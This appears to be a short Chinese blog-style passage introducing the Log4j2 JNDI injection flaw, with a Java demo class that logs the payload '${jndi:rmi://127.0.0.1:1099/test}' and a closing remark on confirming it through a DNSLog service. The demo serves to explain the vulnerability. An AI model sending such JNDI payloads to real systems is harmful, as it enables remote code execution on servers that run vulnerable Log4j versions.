log4j2作为一个优秀的
java
程序日志监控组件,被应用在了各种各样的衍生框架中,同时也是作为目前
java
全生态中的基础组件之一,这类组件一旦崩塌将造成不可估量的影响。
public class
Client
{
private static final
Logger logger
=
LogManager
.
getLogger
();
public static
void
main
(
String
[]
args
)
throws
NamingException
{
System
.
setProperty
(
"com.sun.jndi.rmi.object.trustURLCodebase"
,
"true"
);
String
userName
=
"${jndi:rmi://127.0.0.1:1099/test}"
;
logger
.
info
(
"
看看存的是啥:
{}"
,
userName
);
}
}
${jndi:rmi://127.0.0.1:1099/test}
log4j2主要的一点是它的payload:jndi:rmi//
DNSLog Platform/xxx,有回显存在log4j2的java反序列的日志漏洞。